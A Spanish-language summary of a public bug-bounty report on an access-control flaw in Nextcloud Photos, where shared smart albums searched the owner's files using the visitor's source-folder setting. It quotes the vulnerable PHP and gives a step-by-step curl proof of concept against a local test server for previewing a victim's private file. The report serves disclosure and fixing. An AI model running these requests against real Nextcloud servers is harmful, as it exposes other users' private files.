Reports
MEDIA[IDOR / BOLA]#3506873

Nextcloud Photos: los álbumes inteligentes compartidos buscaban con las carpetas de origen del visitante, no del dueño

Al abrir un álbum inteligente ajeno, Photos filtraba los ficheros del propietario con la configuración photosSourceFolders del usuario que lo visitaba, lo que podía exponer ficheros de carpetas que el dueño no había elegido.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

La app Photos de Nextcloud tiene álbumes "inteligentes", basados en filtros: en lugar de contener una lista fija de fotos, muestran los ficheros del propietario que cumplen ciertos criterios. Para acotar dónde se buscan esos ficheros, cada usuario configura sus carpetas de origen en el ajuste photosSourceFolders (por ejemplo, solo /Photos).

El error estaba en lib/Filters/FiltersManager.php. Cuando otro usuario accedía a un álbum inteligente compartido, la búsqueda se ejecutaba sobre la carpeta del propietario del álbum, pero la lista de carpetas de origen se leía de la configuración del usuario que hacía la petición. Es decir, el visitante decidía en qué carpetas del dueño se buscaba.

private function getPhotosDefaultSearchConditions(): array {
    $folders = json_decode($this->userConfigService->getUserConfig('photosSourceFolders'));
    //  High: Gets Attacker's config but searches in victim's folder

    return [
        new SearchBinaryOperator(
            ISearchBinaryOperator::OPERATOR_OR,
            array_map(fn ($folder) => new SearchComparison(
                ISearchComparison::COMPARE_LIKE_CASE_SENSITIVE,
                'path',
                'files' . $folder . '/%',  //  Attacker-controlled path expansion!
            ), $folders)
        ),
        // ...
    ];
}
public function getFilesBasedOnFilters(string $userId, array $userFilters, ?int $fileId = null): array {
    // $userId = album owner (victim)

    $filtersOperations += $this->getPhotosDefaultSearchConditions();
    //  Uses attacker's path configuration

    $query = new SearchQuery(new SearchBinaryOperator(ISearchBinaryOperator::OPERATOR_AND, $filtersOperations), 1000, 0, []);

    $files = $this->rootFolder->getUserFolder($userId)->search($query);
    //  Searches in victim's folder using attacker's expanded path scope!
    // ...
}

A esto se suma que la validación de rutas en lib/Controller/ApiController.php solo exige que la ruta empiece por / y no contenga .., así que se admite la raíz / y cualquier lista de carpetas:

private function validatePath(mixed $path): bool {
    if (!is_string($path)) {
        return false;
    }

    if (!str_starts_with($path, '/')) {
        return false;
    }

    if (str_contains($path, '..')) {
        return false;
    }

    return true;  //  Root path "/" is allowed!
}

Con "/", el patrón resultante es files//%, que según el investigador puede abarcar todos los ficheros.

El fallo se publicó como CVE-2026-82985 con el aviso GHSA-5gv7-hw69-w6px. Nextcloud lo clasificó como severidad media y pagó recompensa (importe no público). Reportado el 11 de enero de 2026 y divulgado el 17 de septiembre de 2026.

Pasos de reproducción

Requisitos: una cuenta cualquiera de Nextcloud, acceso a al menos un álbum inteligente compartido por otro usuario, poder cambiar el propio photosSourceFolders y que la víctima tenga, fuera de sus carpetas de origen, ficheros que cumplan los filtros del álbum.

El recorrido interno de la petición es este:

1. Victim Config: photosSourceFolders = ["/Photos"]
   Victim shares album with attacker

2. Attacker Config: photosSourceFolders = ["/Photos", "/Documents", "/Private"]

3. Attacker requests: GET /apps/photos/api/v1/preview/{fileId}

4. PreviewController::getFileIdForAlbums()
   └─> Calls getFilesBasedOnFilters("victim", filters, fileId)

5. FiltersManager::getFilesBasedOnFilters("victim", ...)
   └─> getPhotosDefaultSearchConditions()
       └─> getUserConfig('photosSourceFolders')
       └─>  Returns ATTACKER's config: ["/Photos", "/Documents", "/Private"]

6. Search Query Built:
   WHERE (album_filter)
     AND (path LIKE 'files/Photos/%'
          OR path LIKE 'files/Documents/%'       EXPANDED!
          OR path LIKE 'files/Private/%')        EXPANDED!

7. Search Executed in VICTIM's folder:
   getUserFolder("victim")->search($query)

Demostración del investigador en local (http://localhost:8080, usuarios victim y attacker):

  1. Preparar a la víctima. La víctima tiene photosSourceFolders = ["/Photos"] y sube un fichero a /Photos y otro a /Documents:
echo "test image 1" > test1.jpg
echo "test image 2" > test2.jpg

curl -u 'victim:[REDACTADO]' \
  -X PUT 'http://localhost:8080/remote.php/dav/files/victim/Photos/vacation.jpg' \
  -T test1.jpg

curl -u 'victim:[REDACTADO]' \
  -X PUT 'http://localhost:8080/remote.php/dav/files/victim/Documents/secret.jpg' \
  -T test2.jpg
  1. Compartir con el atacante. La víctima comparte /Photos con el usuario attacker, solo lectura:
curl -u 'victim:[REDACTADO]' \
  -X POST 'http://localhost:8080/ocs/v2.php/apps/files_sharing/api/v1/shares' \
  -H 'OCS-APIRequest: true' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'shareType=0' \
  --data-urlencode 'shareWith=attacker' \
  --data-urlencode 'path=/Photos' \
  --data-urlencode 'permissions=1'
  1. Ampliar las carpetas de origen del atacante. El atacante añade /Documents a su propia configuración (el servidor responde {"message":""}):
curl -u 'attacker:[REDACTADO]' \
  -X PUT 'http://localhost:8080/index.php/apps/photos/api/v1/config/photosSourceFolders' \
  -H 'Content-Type: application/json' \
  -d '{"value":"[\"/Photos\",\"/Documents\"]"}'
  1. Obtener el ID del fichero objetivo. En la demostración se sacó con una petición PROPFIND hecha con la cuenta de la víctima; secret.jpg resultó tener el ID 1566 (y vacation.jpg, el 1567):
SECRET_FILE_ID=$(curl -s -u 'victim:[REDACTADO]' \
  'http://localhost:8080/remote.php/dav/files/victim/Documents/secret.jpg' \
  -X PROPFIND \
  --data '' \
  | grep -oP 'oc:fileid>\K[0-9]+' | head -1)
  1. Pedir la vista previa como atacante:
curl -u 'attacker:[REDACTADO]' \
  "http://localhost:8080/index.php/apps/photos/api/v1/preview/$SECRET_FILE_ID?x=256&y=256" \
  -o attacker_preview_secret.jpg

Se descargan 14 bytes en attacker_preview_secret.jpg, que el investigador presenta como el fichero de /Documents de la víctima.

  1. Variantes probadas. El investigador repitió la petición con la configuración del atacante limitada a ["/Photos"] y con la raíz ["/"]:
curl -s -u 'attacker:[REDACTADO]' \
  -X PUT 'http://localhost:8080/index.php/apps/photos/api/v1/config/photosSourceFolders' \
  -H 'Content-Type: application/json' \
  -d '{"value":"[\"/\"]"}'

En ambos casos el servidor respondió {"message":"Reached maximum delay"} (un mensaje de 35 bytes) y se generó un fichero de ese mismo tamaño; conviene tener en cuenta que ese tamaño coincide con el del propio mensaje de error, de modo que esas dos variantes concretas no demuestran con claridad la descarga del contenido.

Impacto

Según el reporte, cualquier usuario al que se comparta un álbum inteligente podía:

  • Descubrir ficheros de la víctima situados en carpetas que ella no había configurado como origen de fotos, siempre que cumplieran los filtros del álbum.
  • Ver sus miniaturas de vista previa, que pueden revelar contenido sensible, y los metadatos asociados.
  • Sondear la estructura de carpetas de la víctima y confirmar la existencia de carpetas privadas.

Rompe la premisa de que un álbum compartido solo contiene ficheros de las carpetas de origen elegidas por su dueño.

Remediación

Nextcloud lo corrigió y lo documentó en el aviso GHSA-5gv7-hw69-w6px. El reporte no describe el parche; por el propio análisis del fallo, la corrección pasa por que la búsqueda use la configuración photosSourceFolders del propietario del álbum, y no la de quien lo consulta.